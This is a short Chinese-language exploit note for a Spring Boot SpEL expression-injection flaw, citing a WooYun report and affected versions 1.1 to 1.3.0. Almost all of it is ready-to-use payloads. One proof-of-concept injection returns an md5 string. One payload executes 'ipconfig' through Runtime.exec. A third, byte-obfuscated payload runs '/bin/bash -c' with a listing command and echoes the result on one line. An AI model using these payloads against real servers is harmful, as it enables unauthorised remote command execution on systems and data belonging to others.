漏洞:http://www.wooyun.org/bugs/wooyun-2016-0226888
影响版本:Spring Boot 1.1 1.2 1.3.0
用法:
替换参数为:
Spring SPEL表达式POC
${new%20java.lang.String(new%20byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 56, 52, 65, 56, 52, 67, 50, 53, 56, 67, 49, 66, 70, 66})}
结果:
FBB204A4061FFBD41284A84C258C1BFB
返回结果是md5(wooyun)
Spring SPEL表达式EXP
${@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream())}
直接执行命令,返回结果!!
上面的任意代码执行的EXP有的时候读不到回显,下面提供一个相对比较复杂的
${new java.io.BufferedReader( new java.io.InputStreamReader(new java.lang.ProcessBuilder(new String[]{new java.lang.String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}),new java.lang.String(new byte[]{45,99}),new java.lang.String(new byte[]{108, 115, 32, 45, 97, 108, 32, 124, 32, 116, 114, 32, 39, 10, 39, 32, 39, 32, 39})}).start().getInputStream())).readLine()}.
执行了ls命令,并把结果放到一行用空格隔开返回.注意最后有个 .